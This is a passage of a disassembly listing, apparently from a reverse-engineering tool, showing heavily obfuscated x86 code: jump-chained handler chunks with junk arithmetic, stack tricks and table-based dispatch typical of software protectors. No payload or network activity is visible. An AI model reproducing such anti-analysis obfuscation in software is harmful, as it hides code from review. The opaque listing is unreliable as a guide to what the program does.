; ---------------------------------------------------------------------------


loc_58065A:				; CODE XREF: .XComp0:00575A55j
		add	ebx, 74164392h
		jmp	loc_5820D7
; ---------------------------------------------------------------------------


loc_580665:				; CODE XREF: .XComp0:0057AAC2j
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_577968
; ---------------------------------------------------------------------------


loc_580679:				; CODE XREF: .XComp0:005807E0j
		push	edi
		mov	edi, 5EDF3A50h
		sub	edi, 0FFFFFFFFh
		xor	edi, 718F3F27h
		add	esi, 1C813BD9h
		sub	esi, edi
		sub	esi, 1C813BD9h
		pop	edi
		xor	esi, 40AB77D7h
		add	edi, esi
		jmp	loc_57D248
; ---------------------------------------------------------------------------


loc_5806A7:				; CODE XREF: .XComp0:0057C170j
		mov	[esp], ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		jmp	loc_57EEEC
; ---------------------------------------------------------------------------


loc_5806BA:				; CODE XREF: .XComp0:005748F8j
		xor	edx, 0A453943h
		and	edx, 4E1572BAh
		add	edx, 0AA09AC23h
		add	esi, edx
		pop	edx
		add	edi, 7F58051Dh
		sub	edi, esi
		push	eax
		mov	eax, 7F58051Dh
		sub	edi, eax
		pop	eax
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	eax
		push	ebp
		mov	ebp, 4
		mov	eax, ebp
		pop	ebp
		add	edx, eax
		jmp	loc_57E6E4
; ---------------------------------------------------------------------------


loc_580709:				; CODE XREF: .XComp0:0057CE1Cj
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ecx
		push	esp
		jmp	loc_57F99F
; ---------------------------------------------------------------------------


loc_58071A:				; CODE XREF: .XComp0:005757D6j
		add	ebp, 0FFFFFFFFh
		sub	ebp, 7A3A563Fh
		mov	eax, ebp
		pop	ebp
		mov	ecx, eax
		pop	eax
		push	ebp
		mov	ebp, ecx
		push	ebp
		add	dword ptr [esp], 61EC5B52h
		pop	eax
		jmp	loc_573AA6
; ---------------------------------------------------------------------------


loc_58073A:				; CODE XREF: .XComp0:0057CC08j
		pop	ecx
		jmp	loc_580F2E
; ---------------------------------------------------------------------------


loc_580740:				; CODE XREF: .XComp0:00577D18j
		mov	bh, al
		mov	ax, [esp]
		add	esp, 2
		sub	al, 0C4h
		sub	al, 0E2h
		jmp	loc_57BC09
; ---------------------------------------------------------------------------


loc_580752:				; CODE XREF: .XComp0:005754F8j
		mov	bl, al
		pop	eax
		mov	ecx, [esp]
		push	ebp
		jmp	loc_57F2B2
; ---------------------------------------------------------------------------


loc_58075E:				; CODE XREF: .XComp0:00579C35j
		add	edi, 4
		add	edi, 4
		jmp	loc_57C295
; ---------------------------------------------------------------------------


loc_58076F:				; CODE XREF: .XComp0:005833FFj
		mov	[esp], ecx
		push	edx
		mov	dh, 8
		jmp	loc_57CBBD
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_576B94
; ---------------------------------------------------------------------------


loc_580780:				; CODE XREF: .XComp0:005757ACj
		add	ebx, eax
		add	ebx, 445D0BF7h
		pop	eax
		push	7AAh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57EE23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_5807A3:				; CODE XREF: sub_5A47B5-23629j
		add	esi, eax
		jmp	loc_57B1F0
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_5807AA:				; CODE XREF: .XComp0:0057F907j
		push	7D30h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 468A337Ah
		add	ebp, 0B975CC8Ah
		jmp	loc_573C05
; ---------------------------------------------------------------------------


loc_5807CB:				; CODE XREF: .XComp0:0057D28Ej
		and	ecx, 14F7318h
		shl	ecx, 6
		inc	ecx
		jmp	loc_57FB9F
; ---------------------------------------------------------------------------


loc_5807DA:				; CODE XREF: .XComp0:005825FAj
		or	esi, 4D9B5D09h
		jmp	loc_580679
; ---------------------------------------------------------------------------


loc_5807E5:				; CODE XREF: .XComp0:00576326j
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 34477C2h
		jmp	loc_57C437
; ---------------------------------------------------------------------------


loc_5807F9:				; CODE XREF: .XComp0:0057C419j
		mov	ebx, 4
		jmp	loc_579E10
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_57DF6C
; ---------------------------------------------------------------------------


loc_58080C:				; CODE XREF: .XComp0:0057B5D3j
		add	esp, 4
		push	0B97h
		mov	[esp], eax
		mov	eax, 4E965562h
		sub	eax, 17E84404h
		sub	eax, 35C2D83Bh
		sub	ebx, eax
		pop	eax
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_580831:				; CODE XREF: .XComp0:0057E025j
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5755EB
; ---------------------------------------------------------------------------


loc_580842:				; CODE XREF: .XComp0:00580631j
		mov	[esp], edi
		mov	edi, 22DD3ED8h
		jmp	loc_57410A
; ---------------------------------------------------------------------------


loc_58084F:				; CODE XREF: .XComp0:00579F51j
		pop	edi
		mov	ebx, [esp]
		jmp	loc_57CDBF
; ---------------------------------------------------------------------------


loc_580858:				; CODE XREF: .XComp0:0057F021j
		mov	eax, 20h
		push	edx
		mov	edx, 3AF30B33h
		sub	eax, edx
		jmp	loc_57F8F9
; ---------------------------------------------------------------------------


loc_58086A:				; CODE XREF: .XComp0:00574E32j
		xchg	ebx, [esp]
		pop	esp
		xor	bl, al
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3FCh
		jmp	loc_5798A8
; ---------------------------------------------------------------------------


loc_580881:				; CODE XREF: .XComp0:0057B8EAj
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		movzx	cx, al
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_576F7C
; ---------------------------------------------------------------------------


loc_580899:				; CODE XREF: .XComp0:005808E5j
		inc	bh
		xchg	bh, dh
		jmp	loc_573875
; ---------------------------------------------------------------------------


loc_5808A2:				; CODE XREF: .XComp0:005817BDj
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_578F53
; ---------------------------------------------------------------------------


loc_5808AD:				; CODE XREF: .XComp0:00580CA9j
		mov	esp, [esp]
		push	3EE6h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_574B77
; ---------------------------------------------------------------------------


loc_5808C9:				; CODE XREF: .XComp0:0057892Cj
		pop	esp
		mov	ax, [esp]
		push	1F8Fh
		mov	[esp], edi
		push	7E7Bh
		push	esp
		jmp	loc_57F1F2
; ---------------------------------------------------------------------------


loc_5808E1:				; CODE XREF: .XComp0:0057DA56j
		xor	bh, dh
		xor	dh, bh
		jmp	loc_580899
; ---------------------------------------------------------------------------


loc_5808EA:				; CODE XREF: .XComp0:0057F82Cj
		add	edx, 4
		jmp	loc_57DAF5
; ---------------------------------------------------------------------------


loc_5808F2:				; CODE XREF: .XComp0:005748DEj
		sub	ebx, ecx
		pop	ecx
		add	ebp, ebx
		jmp	loc_57510B
; ---------------------------------------------------------------------------


loc_5808FC:				; CODE XREF: .XComp0:00577F51j
		mov	esi, 2
		add	ebp, esi
		pop	esi
		jmp	loc_578CD3
; ---------------------------------------------------------------------------


loc_580909:				; CODE XREF: .XComp0:005815A7j
		sub	bl, 0F1h
		push	eax
		mov	ah, 0C9h
		sub	bl, ah
		pop	eax
		movzx	eax, al
		mov	dx, [esp]
		push	72BCh
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 72D2F43h
		jmp	loc_57AFFD
; ---------------------------------------------------------------------------


loc_58092E:				; CODE XREF: .XComp0:00579FF7j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	ecx
		push	edi
		mov	edi, 2
		mov	ecx, edi
		pop	edi
		add	esi, ecx
		pop	ecx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5784D8
; ---------------------------------------------------------------------------


loc_58096C:				; CODE XREF: .XComp0:00576CD0j
		sub	edx, ebp
		pop	ebp
		sub	ebx, edx
		pop	edx
		add	edi, ebx
		jmp	loc_57C4FB
; ---------------------------------------------------------------------------


loc_580979:				; CODE XREF: .XComp0:0057495Dj
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_575E7E
; ---------------------------------------------------------------------------


loc_580993:				; CODE XREF: .XComp0:0057630Cj
		xor	ecx, edx
		pop	edx
		push	ecx
		sub	dword ptr [esp], 184D740Ch
		pop	edx
		add	edx, 184D740Ch
		pop	ecx
		jmp	loc_574DA1
; ---------------------------------------------------------------------------


loc_5809AB:				; CODE XREF: .XComp0:0057A502j
		add	eax, 53725CD6h
		and	eax, 34D5C09h
		jmp	loc_57DCD8
; ---------------------------------------------------------------------------


loc_5809BA:				; CODE XREF: .XComp0:005778D5j
		pop	esp
		push	dword ptr [esp]
		jmp	loc_581A79
; ---------------------------------------------------------------------------


loc_5809C3:				; CODE XREF: .XComp0:00580B15j
		mov	ebx, 5C36C4C6h
		sub	edx, 31EC3C6Fh
		add	edx, 78AA00C6h
		sub	edx, ebx
		sub	edx, 78AA00C6h
		add	edx, 31EC3C6Fh
		pop	ebx
		sub	eax, 453264D1h
		add	eax, edx
		add	eax, 453264D1h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_57BCF7
; ---------------------------------------------------------------------------


loc_5809FD:				; CODE XREF: .XComp0:00582973j
		add	esp, 4
		add	esi, 47007E68h
		sub	esi, 5CC71DE9h
		add	esi, edi
		add	esi, 5CC71DE9h
		sub	esi, 47007E68h
		jmp	loc_573B4C
; ---------------------------------------------------------------------------


loc_580A1F:				; CODE XREF: .XComp0:00580363j
		shr	edx, 1
		xor	edx, 54587FF1h
		shl	edx, 3
		not	edx
		inc	edx
		add	edx, 0B71070Ah
		jmp	loc_5778AD
; ---------------------------------------------------------------------------


loc_580A38:				; CODE XREF: .XComp0:00581B4Dj
		pop	edx
		xor	esi, 5F136EF0h
		shr	esi, 6
		sub	esp, 4
		jmp	loc_57EADA
; ---------------------------------------------------------------------------


loc_580A4A:				; CODE XREF: .XComp0:0057A33Bj
		add	eax, edi
		pop	edi
		push	659Ah
		mov	[esp], ebx
		jmp	loc_576401
; ---------------------------------------------------------------------------


loc_580A5A:				; CODE XREF: .XComp0:0057F863j
		add	dword ptr [esp], 135F18ADh
		pop	eax
		push	2CC9h
		mov	[esp], edi
		mov	edi, 135F18ADh
		add	eax, 7FFF3B4Ch
		sub	eax, edi
		sub	eax, 7FFF3B4Ch
		pop	edi
		jmp	loc_573760
; ---------------------------------------------------------------------------


loc_580A81:				; CODE XREF: .XComp0:0057BD2Cj
		sub	edi, esi
		jmp	loc_57FAB0
; ---------------------------------------------------------------------------


loc_580A88:				; CODE XREF: .XComp0:0057A279j
		add	bl, cl
		add	bl, 96h
		mov	ecx, [esp]
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_57A62D
; ---------------------------------------------------------------------------


loc_580AA1:				; CODE XREF: .XComp0:00576BABj
		mov	bl, 5Dh
		push	esi
		mov	esi, esp
		jmp	loc_577C90
; ---------------------------------------------------------------------------


loc_580AAB:				; CODE XREF: .XComp0:0057E4F5j
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_580AB0:				; CODE XREF: .XComp0:00581E8Bj
		shr	edx, 5
		shl	edx, 8
		push	ebp
		mov	ebp, 576E1054h
		not	ebp
		neg	ebp
		jmp	loc_57E869
; ---------------------------------------------------------------------------


loc_580AC5:				; CODE XREF: .XComp0:00578ED9j
		neg	edx
		xor	edx, 861EDE1Ch
		add	ecx, edx
		pop	edx
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2F991669h
		xor	eax, ebx
		jmp	loc_5747CE
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	0CCCh
		mov	[esp], esi
		jmp	loc_57999F
; ---------------------------------------------------------------------------


loc_580AFA:				; CODE XREF: .XComp0:00574DEFj
		push	5C21h
		mov	[esp], edx
		jmp	loc_580DFF
; ---------------------------------------------------------------------------


loc_580B07:				; CODE XREF: .XComp0:0057B0E0j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		not	edx
		push	ebx
		jmp	loc_5809C3
; ---------------------------------------------------------------------------


loc_580B1A:				; CODE XREF: .XComp0:0057B530j
		mov	esi, [esp]
		jmp	loc_582F49
; ---------------------------------------------------------------------------


loc_580B22:				; CODE XREF: .XComp0:005754B8j
		push	edx
		mov	edx, 15912F75h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_57634B
; ---------------------------------------------------------------------------


loc_580B33:				; CODE XREF: .XComp0:0057A949j
		add	edx, ebp
		jmp	loc_57906F
; ---------------------------------------------------------------------------


loc_580B3A:				; CODE XREF: .XComp0:00576583j
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_580B51:				; CODE XREF: .XComp0:0057890Bj
		shl	edi, 4
		xor	edi, 9BB097A4h
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_573705
; ---------------------------------------------------------------------------


loc_580B66:				; CODE XREF: .XComp0:0057632Dj
		push	eax
		mov	al, bl
		jmp	loc_57F28D
; ---------------------------------------------------------------------------


loc_580B6E:				; CODE XREF: .XComp0:00582525j
		push	ecx
		mov	ecx, 74026E22h
		sub	edx, ecx
		pop	ecx
		add	edx, ebp
		add	edx, 74026E22h
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2
		push	edi
		mov	edi, 29385018h
		push	ebx
		mov	ebx, 622DC9h
		and	ebx, 545B40C7h
		not	ebx
		jmp	loc_578BDD
; ---------------------------------------------------------------------------


loc_580BA4:				; CODE XREF: .XComp0:005811D6j
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp


loc_580BB9:				; CODE XREF: .XComp0:0057C106j
		push	4FD3h
		jmp	loc_57D3C3
; ---------------------------------------------------------------------------


loc_580BC3:				; CODE XREF: .XComp0:00575D27j
		sub	ebx, 2CEB605Bh
		jmp	loc_575154
; ---------------------------------------------------------------------------


loc_580BCE:				; CODE XREF: .XComp0:00573FB2j
		add	edi, 47D148F9h
		jmp	loc_577A32
; ---------------------------------------------------------------------------


loc_580BD9:				; CODE XREF: .XComp0:0057D231j
		sub	ecx, 411Eh
		add	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_57B6E2
; ---------------------------------------------------------------------------


loc_580BF0:				; CODE XREF: .XComp0:00576E53j
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_5793BD
; ---------------------------------------------------------------------------


loc_580C0A:				; CODE XREF: .XComp0:0057FEA1j
		xor	eax, 1CB5E44Fh
		jmp	loc_578CDB
; ---------------------------------------------------------------------------


loc_580C14:				; CODE XREF: .XComp0:0057AFA9j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5829A6
; ---------------------------------------------------------------------------


loc_580C25:				; CODE XREF: .XComp0:0057C8F0j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_57FFB1
; ---------------------------------------------------------------------------


loc_580C44:				; CODE XREF: .XComp0:00574F48j
		xor	dh, bl
		pop	ebx
		jmp	loc_57372C
; ---------------------------------------------------------------------------


loc_580C4C:				; CODE XREF: .XComp0:00574B8Dj
		and	al, cl
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		push	0ACAh
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_580FE0
; ---------------------------------------------------------------------------


loc_580C97:				; CODE XREF: .XComp0:005765FDj
		inc	edi
		xor	edi, 0A017AC6h
		jmp	loc_57D9CB
; ---------------------------------------------------------------------------


loc_580CA3:				; CODE XREF: .XComp0:0057B0C1j
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5808AD
; ---------------------------------------------------------------------------


loc_580CAE:				; CODE XREF: .XComp0:00577C12j
		pop	esp
		add	eax, 2135284Ah
		sub	eax, 0DF61DE6h
		add	eax, ecx
		add	eax, 0DF61DE6h
		sub	eax, 2135284Ah
		sub	eax, 1A58098Ch
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_57FD15
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_573AD6
; ---------------------------------------------------------------------------


loc_580CEA:				; CODE XREF: .XComp0:0057E00Bj
		add	esp, 4
		sub	[edi+20h], esi
		pop	esi
		jmp	loc_574A20
; ---------------------------------------------------------------------------


loc_580CF6:				; CODE XREF: .XComp0:0057745Ej
		push	4ABE06C2h
		pop	edi
		xor	edi, 37CE3772h
		sub	edi, 7D7031ACh
		jmp	loc_57EFC7
; ---------------------------------------------------------------------------


loc_580D0D:				; CODE XREF: .XComp0:00574CF6j
		mov	edx, esp
		push	eax
		mov	eax, 45FA4FC7h
		or	eax, 7C180307h
		add	eax, 254F7AA6h
		push	esi
		mov	esi, 6BEE38D0h
		shl	esi, 6
		sub	esi, 9ED7FE69h
		jmp	loc_57A68C
; ---------------------------------------------------------------------------


loc_580D33:				; CODE XREF: .XComp0:0058211Aj
		mov	ch, 6Eh
		sub	al, ch
		pop	cx
		add	al, ch
		jmp	loc_579381
; ---------------------------------------------------------------------------


loc_580D40:				; CODE XREF: .XComp0:0057A211j
		add	edx, 17D46E3Fh
		push	ecx
		push	esi
		push	50752543h
		pop	esi
		jmp	loc_57C47D
; ---------------------------------------------------------------------------


loc_580D53:				; CODE XREF: .XComp0:0057F288j
		add	edx, 4
		jmp	loc_580E8B
; ---------------------------------------------------------------------------


loc_580D5E:				; CODE XREF: .XComp0:0057FD5Aj
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_577F56
; ---------------------------------------------------------------------------


loc_580D6E:				; CODE XREF: .XComp0:0057CA61j
		pop	esp
		mov	[esp], ecx
		jmp	loc_57CAE4
; ---------------------------------------------------------------------------


loc_580D77:				; CODE XREF: .XComp0:0057DD64j
		sub	ecx, 0FFFFFFFFh
		jmp	loc_5782AA
; ---------------------------------------------------------------------------


loc_580D7F:				; CODE XREF: .XComp0:0057A47Bj
		push	ebx
		mov	ebx, esp
		jmp	loc_5757E5
; ---------------------------------------------------------------------------


loc_580D87:				; CODE XREF: .XComp0:00573CADj
		add	esi, 35382F96h
		add	esi, 0FFFFFFFFh
		push	0
		sub	[esp], esi
		pop	esi
		sub	esi, 89D7B9Dh
		xor	esi, 9D74027Dh
		add	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_57362A
; ---------------------------------------------------------------------------


loc_580DB3:				; CODE XREF: .XComp0:0057E60Aj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 5AA04738h
		add	ecx, 35A763DFh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2CD53ABEh
		jmp	loc_5813CF
; ---------------------------------------------------------------------------


loc_580DD8:				; CODE XREF: .XComp0:005777EFj
		add	eax, esi
		pop	esi
		add	eax, ebx
		jmp	loc_57565B
; ---------------------------------------------------------------------------


loc_580DE2:				; CODE XREF: .XComp0:0057E6D2j
		push	edi
		mov	edi, 60B23741h
		sub	ebp, 237560E9h
		add	ebp, edi
		add	ebp, 237560E9h
		pop	edi
		mov	edi, ebp
		pop	ebp
		jmp	loc_57DA5B
; ---------------------------------------------------------------------------


loc_580DFF:				; CODE XREF: .XComp0:00580B02j
		mov	edx, 302F676Ah
		jmp	loc_57C9CC
; ---------------------------------------------------------------------------


loc_580E09:				; CODE XREF: .XComp0:0057C79Bj
		xor	esi, eax
		pop	eax
		push	esi
		mov	esi, 4C51659Ah
		jmp	loc_5759E0
; ---------------------------------------------------------------------------


loc_580E17:				; CODE XREF: .XComp0:00579E8Dj
		neg	dl
		inc	dl
		xor	dl, 0E2h
		jmp	loc_57AF3A
; ---------------------------------------------------------------------------


loc_580E23:				; CODE XREF: .XComp0:005823F6j
		push	4
		pop	edi
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_580E35:				; CODE XREF: .XComp0:00578C19j
		pop	edx
		push	609Ah
		mov	[esp], ecx
		jmp	loc_57EC7E
; ---------------------------------------------------------------------------


loc_580E43:				; CODE XREF: .XComp0:00577130j
		mov	esi, 1711604Fh
		add	dword ptr [esp+4], 539B2545h
		add	dword ptr [esp+4], 18C62F82h
		sub	dword ptr [esp+4], 3BE05DBCh
		add	[esp+4], esi
		add	dword ptr [esp+4], 3BE05DBCh
		jmp	loc_57E67A
; ---------------------------------------------------------------------------


loc_580E71:				; CODE XREF: .XComp0:00582C00j
		sub	ebx, 0FFFFFFFFh
		shr	ebx, 1
		neg	ebx
		xor	ebx, 0FB0DBDA3h
		mov	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_5795AF
; ---------------------------------------------------------------------------


loc_580E8B:				; CODE XREF: .XComp0:00580D59j
		xchg	edx, [esp]
		jmp	loc_573DD3
; ---------------------------------------------------------------------------


loc_580E93:				; CODE XREF: .XComp0:00582684j
		mov	bh, dl
		push	eax
		mov	al, bh
		jmp	loc_57E1E1
; ---------------------------------------------------------------------------


loc_580E9D:				; CODE XREF: .XComp0:00583280j
		mov	edi, ebx
		mov	ebp, edi
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_574B2A
; ---------------------------------------------------------------------------


loc_580EB0:				; CODE XREF: .XComp0:00581FE7j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_57455E
; ---------------------------------------------------------------------------


loc_580EBE:				; CODE XREF: .XComp0:0057A3E2j
		mov	ebp, 5DE2119h
		mov	edx, 2227E4BCh
		xor	edx, ebp
		pop	ebp
		add	edx, esi
		pop	esi
		or	edx, 2D9A6309h
		jmp	loc_57AAD5
; ---------------------------------------------------------------------------


loc_580ED9:				; CODE XREF: .XComp0:00573710j
		xor	[esp+4], edi
		jmp	loc_57E70D
; ---------------------------------------------------------------------------


loc_580EE2:				; CODE XREF: .XComp0:00575C61j
		sub	eax, 4
		jmp	loc_57E469
; ---------------------------------------------------------------------------


loc_580EEC:				; CODE XREF: .XComp0:00576C62j
		pop	edi
		pop	ecx
		push	edx
		mov	edx, 672A7CD9h
		sub	ecx, edx
		pop	edx
		pop	ebx
		push	edi
		push	2601h
		mov	[esp], ecx
		mov	ecx, 3C112A2Dh
		and	ecx, 132A6770h
		and	ecx, 677168D4h
		and	ecx, 30A12734h
		push	ebp
		mov	ebp, 753B2E39h
		jmp	loc_57DEE5
; ---------------------------------------------------------------------------


loc_580F23:				; CODE XREF: .XComp0:00574018j
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_57F62B
; ---------------------------------------------------------------------------


loc_580F2E:				; CODE XREF: .XComp0:0058073Bj
		sub	edx, 581D3C2Fh
		jmp	loc_582184
; ---------------------------------------------------------------------------


loc_580F39:				; CODE XREF: .XComp0:0057A2F9j
		sub	eax, 26BE46CAh
		jmp	loc_582480
; ---------------------------------------------------------------------------


loc_580F43:				; CODE XREF: .XComp0:00579D06j
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_581F72
; ---------------------------------------------------------------------------


loc_580F64:				; CODE XREF: .XComp0:0057F233j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		jmp	loc_576E8E
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 3Bh
		push	edx
		push	eax
		mov	al, 69h
		mov	dh, 22h
		jmp	loc_574A61
; ---------------------------------------------------------------------------


loc_580F88:				; CODE XREF: .XComp0:0057576Ej
		mov	edi, 265C535Dh
		mov	edx, edi
		jmp	loc_57BF85
; ---------------------------------------------------------------------------


loc_580F94:				; CODE XREF: .XComp0:005803AAj
		not	bx
		add	bx, 6066h
		jmp	loc_57B36A
; ---------------------------------------------------------------------------


loc_580FA1:				; CODE XREF: .XComp0:0057CC19j
		mov	esi, 2
		add	edx, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_57F3A3
; ---------------------------------------------------------------------------


loc_580FB6:				; CODE XREF: .XComp0:0057F23Aj
		pop	eax
		xor	ebp, 4220218Dh
		add	edi, ebp
		jmp	loc_57CB2E
; ---------------------------------------------------------------------------


loc_580FC4:				; CODE XREF: .XComp0:00580325j
		add	ebp, 540D3092h
		add	ebp, edi
		sub	ebp, 540D3092h
		pop	edi
		jmp	loc_57C908
; ---------------------------------------------------------------------------


loc_580FD8:				; CODE XREF: .XComp0:00578720j
		xor	[esp], esi
		jmp	loc_579005
; ---------------------------------------------------------------------------


loc_580FE0:				; CODE XREF: .XComp0:00580C92j
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_5760B3
; ---------------------------------------------------------------------------


loc_580FED:				; CODE XREF: .XComp0:0057F4DBj
		sub	bl, 69h
		jmp	loc_57635B
; ---------------------------------------------------------------------------


loc_580FF5:				; CODE XREF: .XComp0:00581DF9j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 39C4F94h
		jmp	loc_579B3F
; ---------------------------------------------------------------------------


loc_58100B:				; CODE XREF: .XComp0:0057DC33j
		xor	edx, 7FDE7EBEh
		jmp	loc_57D8C8
; ---------------------------------------------------------------------------


loc_581016:				; CODE XREF: .XComp0:00573EB7j
		mov	edx, [esp]
		jmp	loc_57F227
; ---------------------------------------------------------------------------


loc_58101E:				; CODE XREF: .XComp0:0057A103j
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_57D434
		push	eax
		push	edi
		push	ecx
		mov	ecx, 4870A48h
		jmp	loc_57BB49
; ---------------------------------------------------------------------------


loc_581041:				; CODE XREF: .XComp0:0057FE33j
		mov	eax, 7D9A35E2h
		jmp	loc_574BE4
; ---------------------------------------------------------------------------


loc_58104B:				; CODE XREF: .XComp0:0057BDDDj
		add	bl, 0FBh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_582307
; ---------------------------------------------------------------------------


loc_581057:				; CODE XREF: .XComp0:0057C4C1j
		push	esi
		mov	esi, 285B0B3Dh
		jmp	loc_57E262
; ---------------------------------------------------------------------------


loc_581062:				; CODE XREF: .XComp0:005787E1j
		mov	esp, [esp]
		jmp	loc_57D541
; ---------------------------------------------------------------------------


loc_58106A:				; CODE XREF: .XComp0:0057B24Fj
		sub	ecx, 0DC14AA1h
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	ecx, 0B900239h
		add	ecx, ebx
		jmp	loc_57C189
; ---------------------------------------------------------------------------


loc_581089:				; CODE XREF: .XComp0:0057EDEEj
		pop	eax
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 4
		push	eax
		mov	eax, 2EDE6303h
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, edi
		add	edx, 2EDE6303h
		pop	edi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_57DB2B
; ---------------------------------------------------------------------------


loc_5810B7:				; CODE XREF: .XComp0:00574715j
		mov	ebx, esp
		jmp	loc_5746F0
; ---------------------------------------------------------------------------


loc_5810BE:				; CODE XREF: .XComp0:0057FF9Bj
		mov	[esp], ecx
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5810C6:				; CODE XREF: .XComp0:0057CF0Cj
		sub	eax, 65FF3D4Ch
		jmp	loc_581BFA
; ---------------------------------------------------------------------------


loc_5810D0:				; CODE XREF: .XComp0:005767F9j
		mov	[esp], ebp
		jmp	loc_5735E4
; ---------------------------------------------------------------------------


loc_5810D8:				; CODE XREF: .XComp0:005834EAj
		mov	[esp], edi
		mov	edi, 6A554B36h
		xor	edi, 4EBA3024h
		and	edi, 699C1F2Eh
		add	edi, 40566F9Dh
		jmp	loc_576F96
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	65BCh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
